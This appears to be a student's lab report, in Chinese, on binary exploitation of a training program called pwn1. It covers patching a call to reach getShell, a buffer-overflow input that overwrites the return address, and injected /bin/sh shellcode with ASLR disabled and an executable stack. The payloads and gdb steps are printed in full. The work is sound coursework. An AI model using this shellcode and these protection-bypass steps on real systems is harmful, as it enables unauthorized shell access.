20232803 2023-2024-2 《网络攻防实践》实践九报告

目录

    • 1.实践内容
    • 2.实践过程
      • 2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
      • 2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
      • 2.3 注入一个自己制作的shellcode并运行这段shellcode
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1.实践内容

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数, foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


  • 实践内容如下:
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

  • 实验要求:
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2.实践过程

  • 参考Ubuntu系统修改用户名和主机名修改主机名
    在这里插入图片描述

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 在学习通中下载目标文件pwn1上传到Kali中,将其重命名为pwn20232803
    在这里插入图片描述

  • 切换到桌面目录下,输入命令objdump -d pwn20232803 | more对该文件进行反汇编
    在这里插入图片描述

  • 敲击回车键,查看更多内容,找到main函数
    在这里插入图片描述
    main函数中我们可以看到call 8048491,而地址8048491正对应foo函数,即main函数调用了foo函数。继续查看foo函数,可以发现该函数实现了回显用户输入的字符串的功能。
    实验要求我们手动更改文件,使得它直接跳转到getShell函数。因此,我们需要对这一条指令进行修改。在修改之前,我们先对这条指令进行分析。
    对于80484b5: e8 d7 ff ff ff

    • 80484b5表示该指令的地址
    • e8表示跳转
    • d7 ff ff ff表示偏移量,这个偏移量是下一条要执行的指令的地址与目的地址之间的距离,以补码的形式表示,并且采用大端模式(低位字节存入高地址)存储,这里表示-41
    • 下一条要执行的指令的地址为80484ba,因此,这条指令的含义是:执行地址为80484ba - 41 = 8048491的指令,8048491正好对应foo函数的起点

    经过上述分析,修改程序执行流程就变得容易了。
    getShell函数的首地址为804847d,那么偏移量为804847d - 80484ba = -61 = 0xffffffc3,采用大端模式存储,即为c3ffffff
    因此,将这条指令修改为80484b5: e8 c3 ff ff ff即可实现直接跳转到getShell函数

  • 输入命令sudo apt install xxd安装xxd
    在这里插入图片描述

  • 输入命令vim pwn20232803打开文件
    在这里插入图片描述

  • 文件内容如下,可以看到都是乱码
    在这里插入图片描述

  • 输入:%!xxd将文件转换成16进制显示
    在这里插入图片描述

  • 输入/e8 d7进行搜索,然后敲击回车键
    在这里插入图片描述

  • i键进入输入模式,将d7修改为c3
    在这里插入图片描述

  • ESC键,输入:%!xxd -r转回原格式,然后输入:wq保存并退出
    在这里插入图片描述

  • 再次输入objdump -d pwn20232803 | more查看反汇编代码
    在这里插入图片描述
    可以看到这里显示了call 8048474 <getShell>,说明计算是正确的,并且修改成功

  • 输入./pwn20232803运行文件
    在这里插入图片描述
    可以看到该文件成功调用getShell函数获取了Shell

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 将刚才的pwn20232803文件重命名为pwn20232803-old,再上传一个pwn文件,重命名为pwn20232803

  • 再次输入objdump -d pwn20232803 | more查看反汇编得到的代码
    在这里插入图片描述
    可以看到,在foo函数中,调用了getsputs两个函数,如果输入的字符串长度超过了缓冲区容量,会发生缓冲区溢出的情况。
    foo函数共有0x38个字节作为存储空间,给输入的字符串分配了28字节(0x1c)的空间,我们要构造一个攻击输入字符串,使它能够将return的地址覆盖为getShell地址,从而通过调用getShell函数获取Shell

  • getShell的首地址为0x0804847d,该地址在指令中应该用\x7d\x84\x04\x08作为输入。由于我们通过键盘直接输入这种16进制数,所以采用以下命令将字符串输入并存储到文件中

perl -e 'print "wwwwwwwwwwjjjjjjjjjjllllllllllll\x7d\x84\x04\x08"' > input20232803
  • 输入命令xxd input20232803查看文件,确保字符串的最后4个字节为getShell函数的地址
    在这里插入图片描述
  • 输入命令(cat input20232803;cat) | ./pwn20232803input文件的内容作为pwn文件的输入,实施Bof攻击
    在这里插入图片描述
    提示拒绝访问
    • 修改pwn文件属性,勾选Allow this file to run as a program在这里插入图片描述
  • 再次运行命令(cat input20232803;cat) | ./pwn20232803,成功调用getShell获取Shell
    在这里插入图片描述
    BOF攻击成功!

2.3 注入一个自己制作的shellcode并运行这段shellcode

  • 进入以下网站下载execstack
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
  • 输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压
    在这里插入图片描述
  • 输入命令sudo execstack -s ./pwn20232803将文件的堆栈设置为可执行状态
  • 输入命令sudo execstack -q ./pwn20232803检查是否设置成功
    在这里插入图片描述
  • 输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
  • 输入命令more /proc/sys/kernel/randomize_va_space检查是否关闭成功,输入0表示已关闭,输出1则为开启
    在这里插入图片描述
  • 构造攻击的方法有retaddr+nop+shellcodenop+shellcode+retaddr,我们选择前者,shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 使用以下命令构造shellcode的输入,其中\x1\x2\x3\x4将在后面替换为foo函数中retaddr的地址
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803input_shellcode文件的内容作为pwn文件的输入
    在这里插入图片描述
  • 打开另一个终端,输入命令ps -ef | grep pwn20232803查看pwn20232803文件的进程以及进程号
    在这里插入图片描述
    从输出结果中可以看到,pwn20232803文件的进程号为73465
  • 在该终端中继续输入gdb pwn20232803进行调试,以获取foo函数中retaddr的地址

注:若没安装gdb,则需要先输入sudo apt install gdb进行安装
在这里插入图片描述

  • 输入命令attach 73465查看进程,73465为刚刚查看的进程号
  • 输入命令disassemble foofoo函数进行反汇编
    在这里插入图片描述
    可以看到,ret的地址为0x080484ae
  • 输入命令break *0x080484ae设置断点,然后输入c继续执行

注:这里输入c后,要在第一个终端里按一下回车键,才能中断于断点处,否则将一直保持continuing状态

在这里插入图片描述

  • 输入命令info r esp查看栈顶指针所在的位置
    在这里插入图片描述
    栈顶指针所在的位置为0xffffd39c
  • 再输入命令x/16x 0xffffd39c查看该位置存放的内容
    在这里插入图片描述
    其中,0x04030201即为返回地址的位置。因此,栈顶指针的地址 + 4即为shellcode的地址。
0xffffd39c + 4 = 0xffffd3a0
  • 将之前shellcode输入中的\x1\x2\x3\x4采用大端模式替换为\xa0\xd3\xff\xff
perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803再次运行,成功获取Shell
    在这里插入图片描述
    攻击成功!

3.学习中遇到的问题及解决

  • 问题1:输入vim pwn20232803打开文件后,输入:%!xxd无法转换成16进制
    • 解决方案:原因是没有安装xdd,使用sudo apt install xdd进行安装
  • 问题2:在shellcode实验中,gdb调试时输入c后,一直保持在continuing的状态
    • 解决方案:在第一个终端中按回车键,gdb便能继续运行了

4.实践总结

这次实践分为三个部分:

  • 第一个实践让我深入了解了汇编指令和机器码的工作原理,使我能够准确地修改机器指令,改变程序的执行流程。
  • 在第二个实践中,通过利用缓冲区溢出漏洞,我学会了如何构造特定的输入字符串来覆盖函数的返回地址并触发目标函数,这个过程让我深刻理解了缓冲区溢出攻击的原理和危害。
  • 在第三个实践中,通过注入自己制作的Shellcode,可以执行特定的命令或程序。但要注意的是,系统一般有防御机制来阻止恶意代码的注入和执行,如地址随机化、栈保护等。在注入Shellcode之前,需要先绕过这些保护机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/328265.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GPU学习记一下线程分组相关

在compute的时候&#xff0c;是要dispatch一个数量的代表分了多少块任务集&#xff0c;dispatch的块内部也是有一个数量的&#xff0c;那么这些值怎么取的呢 内部&#xff0c;N卡32 外面dispatch的数量就是all/32 然后细说这个值 这有一个叫core的东西&#xff0c;就是相当于th…

【数据可视化-05】:Plotly数据可视化宝典

一、引言 数据可视化是机器学习流程中不可或缺的一部分。通过图形和图表展示数据&#xff0c;我们可以更直观地理解数据的分布、趋势和关联&#xff0c;从而更有效地进行数据分析、特征工程和模型评估。Plotly是一个功能强大且灵活的数据可视化库&#xff0c;它提供了丰富的图表…

Linux系统 -目录结构与配网

目录的特点 Windows中有C盘、D盘等&#xff0c;每个都是一个根系统是个多根系统 Linux中只有一个根是个单根系统 Linux-目录存储的内容 1、/root&#xff1a;管理员的家目录 2、/home&#xff1a;存储普通用户家目录的目录/3、/tmp&#xff1a;临时目录&#xff0c;这个目录存储…

合并K个升序链表

题目 解法一 优先级队列 思想 将每个链表中的一个节点存放到优先级队列中&#xff0c;本题采用小根堆&#xff0c;将小根堆中的根节点取出&#xff0c;插入到最终的链表中&#xff0c;并且将该节点在原链表中的下一个节点插入小根堆中&#xff08;需要向下调整&#xff09;&a…

Python查询和操作HTML文档库之pyquery使用详解

概要 在Web开发和数据抓取中,处理HTML文档是一项常见任务。Python的pyquery库提供了一个强大且灵活的方式来查询和操作HTML文档,类似于jQuery的语法。通过这篇文章,将深入了解pyquery的安装、特性、基本和高级功能,以及它在实际应用中的用例。 安装 安装pyquery相当简单,…

python:SunMoonTimeCalculator

# encoding: utf-8 # 版权所有 2024 ©涂聚文有限公司 # 许可信息查看&#xff1a; # 描述&#xff1a; https://github.com/Broham/suncalcPy # Author : geovindu,Geovin Du 涂聚文. # IDE : PyCharm 2023.1 python 3.11 # Datetime : 2024/5/14 21:59 # User …

MQTT_服务器的安装_1.3

此例子是以Windows系统安装开源版本的EMQX 下载 EMQX 下载并解压 解压如图 进入bin 文件夹在文件目录中输入cmd回车 启动服务器 然后在cmd中输入下面的代码&#xff08;会弹出一个访问网络的选项&#xff0c;确认可以访问网络&#xff09; emqx start 结果如图&#xff08;…

在Linux中安装Docker

如果之前安装过旧版本的 Docker&#xff0c;可以使用下面命令卸载&#xff1a; yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-selinux \docker-engine-selinux \docker-engine…

YOLO损失函数——SIoU和Focal Lossr损失函数解析

1. 概述 YOLO&#xff08;You Only Look Once&#xff09; 系列模型以其实时目标检测能力而闻名&#xff0c;其有效性在很大程度上归功于其专门设计的损失函数。在本文中&#xff0c;这里将深入探讨YOLO演进中不可或缺的各种YOLO损失函数&#xff0c;并重点介绍它们在PyTorch中…

免费泛域名证书申请

通配符证书是一种 SSL/TLS 证书&#xff0c;可用于保护多个域&#xff08;主机&#xff09;&#xff0c;由域名字段中的通配符 (*) 指示。 如果您有很多需要保护的域或子域&#xff0c;这会很有帮助&#xff0c;因为它可以节省您的时间和金钱。 本文将讨论通配符证书、它们的工…

代码复现|Demucs Music Source Separation

一、背景介绍 Demucs是一个开源的音源分离项目。 Demucs在算法层面前后经历了三次大版本的进化&#xff0c;最原始的V1版本是&#xff1a;编解码LSTM。具体算法原理图如下所示。该版本在时域进行音源分离。关于阅读笔记请点击这篇文章。 V1版本原理图 V2版本是同时使用时域和频…

车牌检测识别功能实现(pyqt)

在本专题前面相关博客中已经讲述了 pyqt + yolo + lprnet 实现的车牌检测识别功能。带qt界面的。 本博文将结合前面训练好的模型来实现车牌的检测与识别。并用pyqt实现界面。最终通过检测车牌检测识别功能。 1)、通过pyqt5设计界面 ui文件如下: <?xml version="1…

Star CCM+创建报告与监测

前言 结合前文介绍&#xff0c;创建衍生零部件的目的是为了监测创建的点或者面的数据变化。如Star CCM衍生零部件的创建介绍&#xff0c;创建完所需的点或者面后&#xff0c;下一步就是对创建的点、面进行监测。 一 报告类型介绍 在Star中&#xff0c;通过创建报告来对监测的…

基于单片机的空气质量检测系统设计(51+4G版)-设计说明书

设计摘要&#xff1a; 本设计是基于单片机的空气质量检测系统设计涉及以下主要功能&#xff0c;旨在监测甲烷和一氧化碳的浓度&#xff0c;并在浓度过高时采取相应措施&#xff0c;以确保室内空气质量的安全。该系统使用传感器对甲烷和一氧化碳的浓度进行检测。传感器将收集到…

【环境安装】nodejs 国内源下载与安装以及 npm 国内源配置

前言 Node.js 是一个基于 Chrome V8 引擎构建的 JavaScript 运行时环境&#xff0c;它能够使 JavaScript 在服务器端运行。它拥有强大的包管理器 npm&#xff0c;使开发者能够轻松管理和共享 JavaScript 代码包。 在中国&#xff0c;由于众所周知的原因&#xff0c;我们可能会…

vscode对一些软件的调试插件。

vscode对一些软件的调试插件。 1、ae &#xff0c;f1然后选择运行 after effect 脚本 2、maya,右键send code to maya 3、max&#xff0c;ctrle运行脚本到max 4、unity 从在Visual Studio代码使用.NET的核心&#xff1a; 1、安装.NET Core SDK&#xff0c;链接: https://dotn…

【UE5.1 角色练习】01-使用小白人蓝图控制商城角色移动

目录 效果 步骤 一、导入资源 二、控制角色移动 三、更换角色移动动作 效果 步骤 一、导入资源 新建一个工程&#xff0c;然后在虚幻商城中将角色动画的相关资源加入工程&#xff0c;这里使用的是“动画初学者内容包”和“MCO Mocap Basics” 将我们要控制的角色添加进…

SuperBox设计出图的效率提升!新增内门自动开孔和垫高支架图纸输出功能

越来越多的配电箱项目要求带内门&#xff0c;内门不仅可以有效减少外界灰尘、异物进入配电箱内部&#xff0c;保障配电箱正常运行&#xff0c;还能够隔离操作人员意外触摸导电部件&#xff0c;减少触电事故的发生。但是配电箱在配置内门后&#xff0c;会给设计带来更多的要求&a…

web入门练手案例(一)

下面是一些web入门案例和实现的代码&#xff0c;带有部分注释&#xff0c;倘若代码中有任何问题或疑问&#xff0c;欢迎留言交流~ 新闻页面 案例描述&#xff1a; 互联网的发展使信息的传递变得方便、快捷&#xff0c;浏览新闻称为用户获取信息的重要渠道。下面将实现一个简…

详细教程!VMware Workstation Pro16 安装 + 创建 win7 虚拟机!

嚯嚯嚯&#xff0c;很多宝子都想拥有自己不同的操作系统环境&#xff0c;用于学习或项目搭建。买服务器费钱&#xff0c;虚拟机则成为了一个很好的选择。本文详细介绍VMware Workstation Pro 16安装及win7虚拟机创建&#xff0c;保姆级教程奉上&#xff01; 一、准备工作 VMw…